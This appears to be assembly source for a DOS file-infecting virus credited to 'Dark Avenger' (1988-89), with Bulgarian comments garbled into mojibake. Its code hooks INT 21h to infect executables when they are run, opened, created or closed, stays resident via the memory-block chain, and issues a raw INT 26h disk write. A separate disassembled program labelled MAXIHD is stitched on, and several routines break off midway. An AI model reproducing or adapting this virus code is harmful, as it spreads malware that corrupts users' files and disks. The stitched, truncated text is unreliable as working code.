; АЅЄ Ђ Б БВЎЈ ЎАЈЃЈ ЋЈПВ ВЅЊБВ ЅЄЈ ЎВ ЏКАЂЈВЅ ЁКЋЃ АБЊЈ ЂЈАГБЈ. ЊВЎ
; ЌЎІЅ ЁЈ ЙЅ Ї ЁЅЋЅІЈВЅ, ВЎЉ Ѕ ЏКЋЅ Б ЃЋГЏЎБВЈ Ј ЃАЅИЊЈ, Ў ЂКЏАЅЊЈ ВЎЂ Ѕ
; Б ЌЎ ЗЅ БЅ А ЇЏАЎБВА Ј ГЗГЄЂ ЙЎ ЁКАЇЎ ЈЇ БВА В , Ў Ј ГБЏП Ї ЊА ВЊЎ ЂАЅЌЅ
; Є ЎЁЈЊЎЋЈ БЂЅВ (ЎЉ Ѕ А ЇЏАЎБВА Ѕ Њ ЊВЎ Ђ ЇВЎЗ Ј Џ Є ЂАЎЏ , В Њ Ј
; Ђ ЌЅАЈЊ ). ЅЊБВКВ БЅ А ЇЏАЎБВА ПЂ ЏКЋЎ БЂЎЁЎЄЎ ЏЎ БЋГЗ Љ 1 ЃЎЄЈ ЎВ
; Ї ЂКАИЂ ЅВЎ Ё ЇЎЂ В ЌГ ЂЅАБЈП. ЈЅ ЈЌ ВЅ ЏА ЂЎ Є А ЇЏАЎБВА ПЂ ВЅ
; ВЅЊБВ Њ ЊВЎ ЁЅЇЏЋ ВЎ, В Њ Ј БАЅЙГ Ї ЏЋ Й Ѕ Б ЅЄЈБВЂЅЎВЎ ГБЋЎЂЈЅ ВЎЉ
; ЈЇЎЁЙЎ Є Ѕ Ѕ ЏАЎЌЅП. ЎЉВЎ ГЌЈИЋЅЎ А ЇЏАЎБВА ПЂ ЏАЎЌЅЅ ЏЎ ПЊ ЊКЂ
; ЗЈ ВЅЊБВ, ЂКАИЈ ВЎЂ ЏАЎВЈЂ ІЅЋ ЈЅВЎ ЂВЎА Ј ЙЅ ЁКЄЅ Њ Ї ! КЏАЅЊЈ
; ВЎЂ , ЂВЎАКВ ЙЅ БЅ А ЄЂ ЊЎ ПЊЎЉ ЎВ Ђ Б ЈЇЂКАИЈ ЏЎЄЎЁАЅЈП Ђ ВЅЊБВ Ј
; А ЇЏАЎБВА ПЂ ЏЎЋГЗЅЈП ЈЇЏКЋЈЌ Д ЉЋ (В.Ѕ. Б ЌЈПВ ЂЈАГБ). ЁКАЅВЅ
; ЂЈЌ ЈЅ, ЗЅ БЋЅЄ БЅЌЁЋЈА ЅВЎ ЏЎЋГЗЅЈПВ .COM Д ЉЋ Ѕ ЌЎІЅ Є ЁКЄЅ
; БВ АВЈА . ЖЅЋВ ВАПЁЂ Є БКЇЄ ЄЅВЅ Д ЉЋ Б ЄКЋІЈ 3 Ё ЉВ , БКЄКАІ Й
; ИЅБВ ЉБЅВЈЗЈВЅ ЗЈБЋ 0e9h, 68h, 0 Ј БЋЅЄ ВЎЂ Є ЎЁЅЄЈЈВЅ ЄЂ В Д ЉЋ . Ѕ
; БЅ ЎЏЈВЂ ЉВЅ Є ЏЎБВ ЂЈВЅ ЈБВАГЊЖЈП JMP Ђ З ЋЎВЎ ВЅЊБВ .
startup:
call relative
relative:
pop si ;SI = $
sub si,offset relative
cld
cmp word ptr cs:[si+my_save],5a4dh
je exe_ok
cli
mov sp,si ; .COM Д ЉЋЎЂЅВЅ БЅ ЏЎЄЄКАІ ЎВЄЅЋЅ
add sp,offset top_file+100h ;БВЅЊ, Ї Є Ѕ БЅ ЏАЅЌЅБВЈ ЏАЎЃА Ќ В
sti ;ЂКАЕГ БВЅЊ
cmp sp,ds:[6]
jnc exit_com
exe_ok:
push ax
push es
push si
push ds
mov di,si
; ЌЈА Ѕ ЄАЅБ INT 13h Ђ ROM-BIOS
xor ax,ax
push ax
mov ds,ax
les ax,ds:[13h*4]
mov word ptr cs:[si+fdisk],ax
mov word ptr cs:[si+fdisk+2],es
mov word ptr cs:[si+disk],ax
mov word ptr cs:[si+disk+2],es
mov ax,ds:[40h*4+2] ; INT 40h БЅ Ї Џ ЇЂ ЄАЅБ INT 13h
cmp ax,0f000h ;Ї ЄЈБЊЅВЈ ЏАЈ ЋЈЗЈЅ ВЂКАЄ ЄЈБЊ
jne nofdisk
mov word ptr cs:[si+disk+2],ax
mov ax,ds:[40h*4]
mov word ptr cs:[si+disk],ax
mov dl,80h
mov ax,ds:[41h*4+2] ;INT 41h ЎЁЈЊЎЂЅЎ БЎЗЈ Ђ БЅЃЌЅВ ,
cmp ax,0f000h ;ЊКЄЅВЎ Ѕ ЎАЈЃЈ ЋЈП INT 13h ЂЅЊВЎА
je isfdisk
cmp ah,0c8h
jc nofdisk
cmp ah,0f4h
jnc nofdisk
test al,7fh
jnz nofdisk
mov ds,ax
cmp ds:[0],0aa55h
jne nofdisk
mov dl,ds:[2]
isfdisk:
mov ds,ax
xor dh,dh
mov cl,9
shl dx,cl
mov cx,dx
xor si,si
findvect:
lodsw ;ЁЈЊЎЂЅЎ Ї ЏЎЗЂ Б:
cmp ax,0fa80h ; CMP DL,80h
jne altchk ; JNC ПЊКЄЅ
lodsw
cmp ax,7380h
je intchk
jne nxt0
altchk:
cmp ax,0c2f6h ;ЈЋЈ Б:
jne nxt ; TEST DL,80h
lodsw ; JNZ ПЊКЄЅ
cmp ax,7580h
jne nxt0
intchk:
inc si ;БЋЅЄ ЊЎЅВЎ ЈЌ :
lodsw ; INT 40h
cmp ax,40cdh
je found
sub si,3
nxt0:
dec si
dec si
nxt:
dec si
loop findvect
jmp short nofdisk
found:
sub si,7
mov word ptr cs:[di+fdisk],si
mov word ptr cs:[di+fdisk+2],ds
nofdisk:
mov si,di
pop ds
; АЎЂЅАЊ Є ЋЈ ЏАЎЃА Ќ В Ѕ АЅЇЈЄЅВ
les ax,ds:[21h*4]
mov word ptr cs:[si+save_int_21],ax
mov word ptr cs:[si+save_int_21+2],es
push cs
pop ds
cmp ax,offset int_21
jne bad_func
xor di,di
mov cx,offset my_size
scan_func:
lodsb
scasb
jne bad_func
loop scan_func
pop es
jmp go_program
pop ax
pop cx
pop bx
pop ax
cmp byte ptr [bx+0ah],0
jne not_now
mov dx,[bx+8]
pop bx
push bx
int 26h
small_disk:
pop ax
not_now:
pop si
xor ax,ax
mov ds,ax
mov ax,word ptr cs:[si+save_int_13]
mov ds:[13h*4],ax
mov ax,word ptr cs:[si+save_int_13+2]
mov ds:[13h*4+2],ax
pop ds
pop ax
cmp word ptr cs:[si+my_save],5a4dh
jne go_exit_com
jmp exit_exe
go_exit_com:
jmp exit_com
int_24:
mov al,3 ; ЇЈ ЈБВАГЊЖЈП ЈЇЃЋЅІЄ ЈЇЋЈИ
iret
int_21:
push bp
mov bp,sp
push [bp+6]
popf
pop bp
pushf
call ontop
cmp ax,2521h
je set_int_21
cmp ax,2527h
je set_int_27
cmp ax,3521h
je get_int_21
cmp ax,3527h
je get_int_27
cld
cmp ax,4b00h
je exec
cmp ah,3ch
je create
cmp ah,3eh
je close
cmp ah,5bh
jne not_create
create:
cmp word ptr cs:[filehndl],0;ЎІЅ Ј Є Ѕ 0 ЏАЈ ЎВЂЎАЅ Д ЉЋ
jne dont_touch
call see_name
jnz dont_touch
call alloc
popf
call function
jc int_exit
pushf
push es
push cs
pop es
push si
push di
push cx
push ax
mov di,offset filehndl
stosw
mov si,dx
mov cx,65
move_name:
lodsb
stosb
test al,al
jz all_ok
loop move_name
mov word ptr es:[filehndl],cx
all_ok:
pop ax
pop cx
pop di
pop si
pop es
go_exit:
popf
jnc int_exit ;JMP
close:
cmp bx,word ptr cs:[filehndl]
jne dont_touch
test bx,bx
jz dont_touch
call alloc
popf
call function
jc int_exit
pushf
push ds
push cs
pop ds
push dx
mov dx,offset filehndl+2
call do_file
mov word ptr cs:[filehndl],0
pop dx
pop ds
jmp go_exit
not_create:
cmp ah,3dh
je touch
cmp ah,43h
je touch
cmp ah,56h ; БКІ ЋЅЈЅ ЊЎЌ ЄЈП ЈВЅАЏАЅВ ВЎА
jne dont_touch ;Ѕ ЈЇЏЎЋЇГЂ В ЇЈ ДГЊЖЈП
touch:
call see_name
jnz dont_touch
call do_file
dont_touch:
call alloc
popf
call function
int_exit:
pushf
push ds
call get_chain
mov byte ptr ds:[0],'Z'
pop ds
popf
dummy proc far ;???
ret 2
dummy endp
; АЅВКАБЂ БЅЃЌЅВ ВА ЏЈЊ ЏАЅЕЂ Ћ INT 21h, Ї Є ЌЅАЈ ЊКЄЅ ВЎЉ
; Ѕ Ї Џ ЇЈЋ БВ А В БВЎЉЎБВ Ј Є П ЏЎЄЌЅЈ. INT 27h Ѕ БЅ ЏА ЂЈ ЈЙЎ.
xor bx,bx
search_segment:
mov ax,[bx]
cmp ax,offset int_21
jne search_next
mov ax,cs
cmp ax,[bx+2]
je got_him
search_next:
inc bx
jne search_segment
je return_control
got_him:
mov ax,word ptr cs:[save_int_21]
mov [bx],ax
mov ax,word ptr cs:[save_int_21+2]
mov [bx+2],ax
mov word ptr cs:[save_int_21],dx
mov word ptr cs:[save_int_21+2],ds
xor bx,bx
; Є Ѕ ЃЎ Џ ЇЈ Ђ БКЙЈП БЅЃЌЅВ, ВЎЂ ЂБЅ ЅЄЎ ПЌ Є ЌГ ЏЎЌЎЃЅ
return_control:
mov ds,bx
mov ds:[21h*4],offset int_21
mov ds:[21h*4+2],cs
test_complete:
pop dx
pop bx
pop ax
pop ds
ret
; ЌЈА Ѕ БЅЃЌЅВ ЏЎБЋЅЄЈП MCB
get_chain:
push ax
push bx
mov ah,62h
call function
mov ax,cs
dec ax
dec bx
next_blk:
mov ds,bx
stc
adc bx,ds:[3]
cmp bx,ax
jc next_blk
pop bx
pop ax
ret
; ЌЎІЅЈЅ ЏЎ 16
mul_hdr:
mov ax,word ptr [top_save+8]
mul_16:
mov dx,10h
mul dx
ret
db 'This program was written in the city of Sofia '
db '(C) 1988-89 Dark Avenger',0
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;
; PROGRAM ENTRY POINT
;
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
MAXIHD PROC FAR
start:
MOV DX,SEG SEG_B
MOV CS:DATA_38,DX ; (7FD4:01F8=0)
MOV AH,30H ; '0'
INT 21H ; DOS Services ah=function 30h
; get DOS version number ax
MOV BP,DS:DATA_25E ; (7FC4:0002=0)
MOV BX,DS:DATA_26E ; (7FC4:002C=0)
MOV DS,DX
assume ds:SEG_B
MOV DATA_77,AX ; (8134:0092=0)
MOV DATA_76,ES ; (8134:0090=0)
MOV WORD PTR DATA_73+2,BX ; (8134:008C=0)
MOV DATA_84,BP ; (8134:00AC=0)
MOV DATA_79,0FFFFH ; (8134:0096=0)
CALL SUB_3 ; (0162)
LES DI,DATA_73 ; (8134:008A=0) Load 32 bit ptr
MOV AX,DI
MOV BX,AX
MOV CX,7FFFH
LOC_2:
CMP WORD PTR ES:[DI],3738H
JNE LOC_3 ; Jump if not equal
MOV DX,ES:[DI+2]
CMP DL,3DH ; '='
JNE LOC_3 ; Jump if not equal
AND DH,0DFH
INC DATA_79 ; (8134:0096=0)
CMP DH,59H ; 'Y'
JNE LOC_3 ; Jump if not equal
INC DATA_79 ; (8134:0096=0)
LOC_3:
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
JCXZ LOC_6 ; Jump if cx=0
INC BX
CMP ES:[DI],AL
JNE LOC_2 ; Jump if not equal
OR CH,80H
NEG CX
MOV WORD PTR DATA_73,CX ; (8134:008A=0)
MOV CX,1
SHL BX,CL ; Shift w/zeros fill
ADD BX,8
AND BX,0FFF8H
MOV DATA_75,BX ; (8134:008E=0)
MOV DX,DS
SUB BP,DX
MOV DI,DATA_89 ; (8134:023A=1000H)
CMP DI,200H
JAE LOC_4 ; Jump if above or =
MOV DI,200H
MOV DATA_89,DI ; (8134:023A=1000H)
LOC_4:
ADD DI,4AAH
JC LOC_6 ; Jump if carry Set
ADD DI,DATA_88 ; (8134:0238=0)
JC LOC_6 ; Jump if carry Set
MOV CL,4
SHR DI,CL ; Shift w/zeros fill
INC DI
CMP BP,DI
JB LOC_6 ; Jump if below
CMP DATA_89,0 ; (8134:023A=1000H)
JE LOC_5 ; Jump if equal
CMP DATA_88,0 ; (8134:0238=0)
JNE LOC_7 ; Jump if not equal
LOC_5:
MOV DI,1000H
CMP BP,DI
JA LOC_7 ; Jump if above
MOV DI,BP
JMP SHORT LOC_7 ; (00C1)
LOC_6:
JMP LOC_10 ; (01E2)
LOC_7:
MOV BX,DI
ADD BX,DX
MOV DATA_82,BX ; (8134:00A4=0)
MOV DATA_83,BX ; (8134:00A8=0)
MOV AX,DATA_76 ; (8134:0090=0)
SUB BX,AX
MOV ES,AX
MOV AH,4AH ; 'J'
PUSH DI
INT 21H ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
POP DI
SHL DI,CL ; Shift w/zeros fill
CLI ; Disable interrupts
MOV SS,DX
MOV SP,DI
STI ; Enable interrupts
XOR AX,AX ; Zero register
MOV ES,CS:DATA_38 ; (7FD4:01F8=0)
MOV DI,464H
MOV CX,4AAH
SUB CX,DI
REP STOSB ; Rep while cx>0 Store al to es:[di]
PUSH CS
CALL WORD PTR DATA_117 ; (8134:0456=1D2H)
CALL SUB_12 ; (0390)
CALL SUB_14 ; (047B)
MOV AH,0
INT 1AH ; Real time clock ah=func 00h
; get system timer count cx,dx
MOV DS:DATA_12E,DX ; (0000:0098=198CH)
MOV DS:DATA_13E,CX ; (0000:009A=27DH)
CALL WORD PTR DS:DATA_20E ; (0000:045A=0)
PUSH WORD PTR DS:DATA_7E ; (0000:0088=723H)
PUSH WORD PTR DS:DATA_6E ; (0000:0086=13C7H)
PUSH WORD PTR DS:DATA_5E ; (0000:0084=9CEH)
CALL SUB_6 ; (01FA)
PUSH AX
CALL SUB_11 ; (035B)
SUB_3 PROC NEAR
PUSH DS
MOV AX,3500H
INT 21H ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
MOV DATA_65,BX ; (8134:0074=0)
MOV DATA_66,ES ; (8134:0076=0)
MOV AX,3504H
INT 21H ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
MOV DATA_67,BX ; (8134:0078=0)
MOV DATA_68,ES ; (8134:007A=0)
MOV AX,3505H
INT 21H ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
MOV DATA_69,BX ; (8134:007C=0)
MOV DATA_70,ES ; (8134:007E=0)
MOV AX,3506H
INT 21H ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
MOV DATA_71,BX ; (8134:0080=0)
MOV DATA_72,ES ; (8134:0082=0)
MOV AX,2500H
MOV DX,CS
MOV DS,DX
MOV DX,158H
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
POP DS
RETN
SUB_3 ENDP
SUB_4 PROC NEAR
PUSH DS
MOV AX,2500H
LDS DX,DWORD PTR DS:DATA_1E ; (0000:0074=0F0A4H) Load 32 bit ptr
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
POP DS
PUSH DS
MOV AX,2504H
LDS DX,DWORD PTR DS:DATA_2E ; (0000:0078=522H) Load 32 bit ptr
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
POP DS
PUSH DS
MOV AX,2505H
LDS DX,DWORD PTR DS:DATA_3E ; (0000:007C=0) Load 32 bit ptr
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
POP DS
PUSH DS
MOV AX,2506H
LDS DX,DWORD PTR DS:DATA_4E ; (0000:0080=16F5H) Load 32 bit ptr
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
POP DS
RETN
SUB_4 ENDP
SUB_10 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
MOV SI,[BP+4]
OR SI,SI ; Zero ?
JL LOC_19 ; Jump if <
CMP SI,58H
JBE LOC_18 ; Jump if below or =
LOC_17:
MOV SI,57H
LOC_18:
MOV DS:DATA_29E,SI ; (7FC4:01D6=0CD57H)
MOV AL,DS:DATA_30E[SI] ; (7FC4:01D8=21H)
CBW ; Convrt byte to word
XCHG AX,SI
JMP SHORT LOC_20 ; (034B)
LOC_19:
NEG SI
CMP SI,23H
JA LOC_17 ; Jump if above
MOV WORD PTR DS:DATA_29E,0FFFFH ; (7FC4:01D6=0CD57H)
LOC_20:
MOV AX,SI
MOV DS:DATA_27E,AX ; (7FC4:0094=0)
MOV AX,0FFFFH
JMP SHORT LOC_21 ; (0355)
LOC_21:
POP SI
POP BP
RETN 2
SUB_10 ENDP
SUB_11 PROC NEAR
PUSH BP
MOV BP,SP
JMP SHORT LOC_23 ; (036A)
LOC_22:
MOV BX,WORD PTR DS:[23CH] ; (7FC4:023C=0E246H)
SHL BX,1 ; Shift w/zeros fill
CALL WORD PTR DS:[464H][BX] ;*(7FC4:0464=0E3D1H)
LOC_23:
MOV AX,WORD PTR DS:[23CH] ; (7FC4:023C=0E246H)
DEC WORD PTR DS:[23CH] ; (7FC4:023C=0E246H)
OR AX,AX ; Zero ?
JNZ LOC_22 ; Jump if not zero
CALL WORD PTR DS:DATA_31E ; (7FC4:0232=2FB9H)
CALL WORD PTR DS:[234H] ; (7FC4:0234=9000H)
CALL WORD PTR DS:[236H] ; (7FC4:0236=2FCH)
PUSH WORD PTR [BP+4]
CALL SUB_2 ; (0121)
POP CX
POP BP
RETN
SUB_11 ENDP
SUB_12 PROC NEAR
POP CS:DATA_39 ; (7FD4:038A=0)
MOV CS:DATA_40,DS ; (7FD4:038C=0)
CLD ; Clear direction
MOV ES,DATA_76 ; (8134:0090=0)
MOV SI,80H
XOR AH,AH ; Zero register
LODS BYTE PTR ES:[SI] ; String [si] to al
INC AX
MOV BP,ES
XCHG DX,SI
XCHG AX,BX
MOV SI,WORD PTR DATA_73 ; (8134:008A=0)
ADD SI,2
MOV CX,1
CMP BYTE PTR DATA_77,3 ; (8134:0092=0)
JB LOC_24 ; Jump if below
MOV ES,WORD PTR DATA_73+2 ; (8134:008C=0)
MOV DI,SI
MOV CL,7FH
XOR AL,AL ; Zero register
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
JCXZ LOC_32 ; Jump if cx=0
XOR CL,7FH
LOC_24:
SUB SP,2
MOV AX,1
ADD AX,BX
ADD AX,CX
AND AX,0FFFEH
MOV DI,SP
SUB DI,AX
JC LOC_32 ; Jump if carry Set
MOV SP,DI
MOV AX,ES
MOV DS,AX
MOV AX,SS
MOV ES,AX
PUSH CX
DEC CX
REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
XOR AL,AL ; Zero register
STOSB ; Store al to es:[di]
MOV DS,BP
XCHG SI,DX
XCHG BX,CX
MOV AX,BX
MOV DX,AX
INC BX
LOC_25:
CALL SUB_13 ; (0419)
JA LOC_27 ; Jump if above
LOC_26:
JC LOC_33 ; Jump if carry Set
CALL SUB_13 ; (0419)
JA LOC_26 ; Jump if above
LOC_27:
CMP AL,20H ; ' '
JE LOC_28 ; Jump if equal
CMP AL,0DH
JE LOC_28 ; Jump if equal
CMP AL,9
JNE LOC_25 ; Jump if not equal
LOC_28:
XOR AL,AL ; Zero register
JMP SHORT LOC_25 ; (03FD)
;пппп External Entry into Subroutine пппппппппппппппппппппппппппппппппппппп
SUB_13:
OR AX,AX ; Zero ?
JZ LOC_29 ; Jump if zero
INC DX
STOSB ; Store al to es:[di]
OR AL,AL ; Zero ?
JNZ LOC_29 ; Jump if not zero
INC BX
LOC_29:
XCHG AH,AL
XOR AL,AL ; Zero register
STC ; Set carry flag
JCXZ LOC_RET_31 ; Jump if cx=0
LODSB ; String [si] to al
DEC CX
SUB AL,22H ; '"'
JZ LOC_RET_31 ; Jump if zero
ADD AL,22H ; '"'
CMP AL,5CH ; '\'
JNE LOC_30 ; Jump if not equal
CMP BYTE PTR [SI],22H ; '"'
JNE LOC_30 ; Jump if not equal
LODSB ; String [si] to al
DEC CX
LOC_30:
OR SI,SI ; Zero ?
SUB_14 PROC NEAR
MOV CX,DS:DATA_8E ; (0000:008A=23EAH)
PUSH CX
CALL SUB_19 ; (05CA)
POP CX
MOV DI,AX
OR AX,AX ; Zero ?
JZ LOC_37 ; Jump if zero
PUSH DS
PUSH DS
POP ES
MOV DS,DS:DATA_9E ; (0000:008C=0A70H)
XOR SI,SI ; Zero register
CLD ; Clear direction
REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
POP DS
MOV DI,AX
PUSH ES
PUSH WORD PTR DS:DATA_10E ; (0000:008E=23EAH)
CALL SUB_19 ; (05CA)
ADD SP,2
MOV BX,AX
POP ES
MOV DS:DATA_7E,AX ; (0000:0088=723H)
OR AX,AX ; Zero ?
JNZ LOC_38 ; Jump if not zero
LOC_37:
JMP LOC_10 ; (01E2)
LOC_38:
XOR AX,AX ; Zero register
MOV CX,0FFFFH
LOC_39:
MOV [BX],DI
ADD BX,2
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
CMP ES:[DI],AL
JNE LOC_39 ; Jump if not equal
MOV [BX],AX
RETN
SUB_14 ENDP
DB 55H, 8BH, 0ECH, 83H, 3EH, 3CH
DB 2, 20H, 75H, 5, 0B8H, 1
DB 0, 0EBH, 15H, 8BH, 46H, 4
DB 8BH, 1EH, 3CH, 2, 0D1H, 0E3H
DB 89H, 87H, 64H, 4, 0FFH, 6
DB 3CH, 2, 33H, 0C0H, 0EBH, 0
LOC_40:
POP BP
RETN
SUB_15 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
MOV DI,[BP+4]
MOV AX,[DI+6]
MOV DS:DATA_23E,AX ; (0000:04A6=0)
CMP AX,DI
JNE LOC_41 ; Jump if not equal
MOV WORD PTR DS:DATA_23E,0 ; (0000:04A6=0)
JMP SHORT LOC_42 ; (0515)
LOC_41:
MOV SI,[DI+4]
MOV BX,DS:DATA_23E ; (0000:04A6=0)
MOV [BX+4],SI
MOV AX,DS:DATA_23E ; (0000:04A6=0)
MOV [SI+6],AX
LOC_42:
POP DI
POP SI
POP BP
RETN
SUB_15 ENDP
SUB_16 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
MOV DI,[BP+4]
MOV AX,[BP+6]
SUB [DI],AX
MOV SI,[DI]
ADD SI,DI
MOV AX,[BP+6]
INC AX
MOV [SI],AX
MOV [SI+2],DI
MOV AX,DS:DATA_22E ; (0000:04A4=0)
CMP AX,DI
JNE LOC_43 ; Jump if not equal
MOV DS:DATA_22E,SI ; (0000:04A4=0)
JMP SHORT LOC_44 ; (0548)
LOC_43:
MOV DI,SI
ADD DI,[BP+6]
MOV [DI+2],SI
LOC_44:
MOV AX,SI
ADD AX,4
JMP SHORT LOC_45 ; (054F)
LOC_45:
POP DI
POP SI
POP BP
RETN
SUB_16 ENDP
SUB_17 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
MOV AX,[BP+4]
XOR DX,DX ; Zero register
AND AX,0FFFFH
AND DX,0
nop ;*Fixup for MASM (M)
PUSH DX
PUSH AX
CALL SUB_21 ; (065C)
POP CX
POP CX
MOV SI,AX
CMP SI,0FFFFH
JNE LOC_46 ; Jump if not equal
XOR AX,AX ; Zero register
JMP SHORT LOC_47 ; (058D)
LOC_46:
MOV AX,DS:DATA_22E ; (0000:04A4=0)
MOV [SI+2],AX
MOV AX,[BP+4]
INC AX
MOV [SI],AX
MOV DS:DATA_22E,SI ; (0000:04A4=0)
MOV AX,DS:DATA_22E ; (0000:04A4=0)
ADD AX,4
JMP SHORT LOC_47 ; (058D)
LOC_47:
POP SI
POP BP
RETN
SUB_17 ENDP
SUB_18 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
MOV AX,[BP+4]
XOR DX,DX ; Zero register
AND AX,0FFFFH
AND DX,0
nop ;*Fixup for MASM (M)
PUSH DX
PUSH AX
CALL SUB_21 ; (065C)
POP CX
POP CX
MOV SI,AX
CMP SI,0FFFFH
JNE LOC_48 ; Jump if not equal
XOR AX,AX ; Zero register
JMP SHORT LOC_49 ; (05C7)
LOC_48:
MOV DS:DATA_24E,SI ; (0000:04A8=0)
MOV DS:DATA_22E,SI ; (0000:04A4=0)
MOV AX,[BP+4]
INC AX
MOV [SI],AX
MOV AX,SI
ADD AX,4
JMP SHORT LOC_49 ; (05C7)
LOC_49:
POP SI
POP BP
RETN
SUB_18 ENDP
SUB_19 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
MOV DI,[BP+4]
OR DI,DI ; Zero ?
JNZ LOC_50 ; Jump if not zero
XOR AX,AX ; Zero register
JMP SHORT LOC_56 ; (0634)
LOC_50:
MOV AX,DI
ADD AX,0BH
AND AX,0FFF8H
MOV DI,AX
CMP WORD PTR DS:DATA_24E,0 ; (0000:04A8=0)
JNE LOC_51 ; Jump if not equal
PUSH DI
CALL SUB_18 ; (0590)
POP CX
JMP SHORT LOC_56 ; (0634)
LOC_51:
MOV SI,DS:DATA_23E ; (0000:04A6=0)
MOV AX,SI
OR AX,AX ; Zero ?
JZ LOC_55 ; Jump if zero
LOC_52:
MOV AX,[SI]
MOV DX,DI
ADD DX,28H
CMP AX,DX
JB LOC_53 ; Jump if below
PUSH DI
PUSH SI
CALL SUB_16 ; (0519)
POP CX
POP CX
JMP SHORT LOC_56 ; (0634)
LOC_53:
MOV AX,[SI]
CMP AX,DI
JB LOC_54 ; Jump if below
PUSH SI
CALL SUB_15 ; (04EB)
POP CX
INC WORD PTR [SI]
MOV AX,SI
ADD AX,4
JMP SHORT LOC_56 ; (0634)
LOC_54:
MOV SI,[SI+6]
CMP SI,DS:DATA_23E ; (0000:04A6=0)
JNE LOC_52 ; Jump if not equal
LOC_55:
PUSH DI
CALL SUB_17 ; (0553)
POP CX
JMP SHORT LOC_56 ; (0634)
LOC_56:
POP DI
POP SI
POP BP
RETN
SUB_19 ENDP
SUB_23 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,2
PUSH SI
PUSH DI
MOV BX,[BP+4]
MOV SI,[BX]
MOV AX,SI
MOV [BP-2],AX
MOV BX,[BP+4]
TEST WORD PTR [BX+2],40H
JZ LOC_62 ; Jump if zero
MOV AX,SI
JMP SHORT LOC_65 ; (06EF)
LOC_62:
MOV BX,[BP+4]
MOV DI,[BX+0AH]
JMP SHORT LOC_64 ; (06E3)
LOC_63:
MOV BX,DI
INC DI
CMP BYTE PTR [BX],0AH
JNE LOC_64 ; Jump if not equal
INC WORD PTR [BP-2]
LOC_64:
MOV AX,SI
DEC SI
OR AX,AX ; Zero ?
JNZ LOC_63 ; Jump if not zero
MOV AX,[BP-2]
JMP SHORT LOC_65 ; (06EF)
LOC_65:
POP DI
POP SI
MOV SP,BP
POP BP
RETN 2
SUB_23 ENDP
SUB_24 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
MOV SI,[BP+4]
PUSH SI
CALL SUB_34 ; (0BEE)
POP CX
OR AX,AX ; Zero ?
JZ LOC_66 ; Jump if zero
MOV AX,0FFFFH
JMP SHORT LOC_70 ; (0758)
LOC_66:
CMP WORD PTR [BP+0AH],1
JNE LOC_67 ; Jump if not equal
CMP WORD PTR [SI],0
JLE LOC_67 ; Jump if < or =
PUSH SI
CALL SUB_23 ; (06B0)
CWD ; Word to double word
SUB [BP+6],AX
SBB [BP+8],DX
LOC_67:
AND WORD PTR [SI+2],0FE5FH
MOV WORD PTR [SI],0
MOV AX,[SI+8]
MOV [SI+0AH],AX
PUSH WORD PTR [BP+0AH]
PUSH WORD PTR [BP+8]
PUSH WORD PTR [BP+6]
MOV AL,[SI+4]
CBW ; Convrt byte to word
PUSH AX
CALL SUB_29 ; (0A1E)
ADD SP,8
CMP DX,0FFFFH
JNE LOC_68 ; Jump if not equal
CMP AX,0FFFFH
JNE LOC_68 ; Jump if not equal
MOV AX,0FFFFH
JMP SHORT LOC_69 ; (0756)
LOC_68:
XOR AX,AX ; Zero register
LOC_69:
JMP SHORT LOC_70 ; (0758)
LOC_70:
POP SI
POP BP
RETN
SUB_24 ENDP
DB 55H, 8BH, 0ECH, 83H, 0ECH, 4
DB 56H, 8BH, 76H, 4, 56H, 0E8H
DB 85H, 4, 59H, 0BH, 0C0H, 74H
DB 8, 0BAH, 0FFH, 0FFH, 0B8H, 0FFH
DB 0FFH, 0EBH, 3FH, 0B8H, 1, 0
DB 50H, 33H, 0C0H, 50H, 50H, 8AH
DB 44H, 4, 98H, 50H, 0E8H, 98H
DB 2, 83H, 0C4H, 8, 89H, 56H
DB 0FEH, 89H, 46H, 0FCH, 83H, 3CH
DB 0, 7EH, 19H, 8BH, 56H, 0FEH
DB 8BH, 46H, 0FCH, 52H, 50H, 56H
DB 0E8H, 10H, 0FFH, 99H, 8BH, 0D8H
DB 8BH, 0CAH, 58H, 5AH, 2BH, 0C3H
DB 1BH, 0D1H, 0EBH, 6
LOC_71:
MOV DX,[BP-2]
MOV AX,[BP-4]
LOC_72:
JMP SHORT LOC_73 ; (07B5)
LOC_73:
POP SI
MOV SP,BP
POP BP
RETN
SUB_26 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
MOV DI,[BP+0AH]
MOV SI,[BP+4]
MOV AX,[SI+0EH]
CMP AX,SI
JNE LOC_76 ; Jump if not equal
CMP WORD PTR [BP+8],2
JG LOC_76 ; Jump if >
CMP DI,7FFFH
JBE LOC_77 ; Jump if below or =
LOC_76:
MOV AX,0FFFFH
JMP LOC_85 ; (08A0)
LOC_77:
CMP WORD PTR DS:DATA_34E,0 ; (7FC4:03A8=0AE46H)
JNE LOC_78 ; Jump if not equal
MOV AX,24EH
CMP AX,SI
JNE LOC_78 ; Jump if not equal
MOV WORD PTR DS:DATA_34E,1 ; (7FC4:03A8=0AE46H)
JMP SHORT LOC_79 ; (0820)
LOC_78:
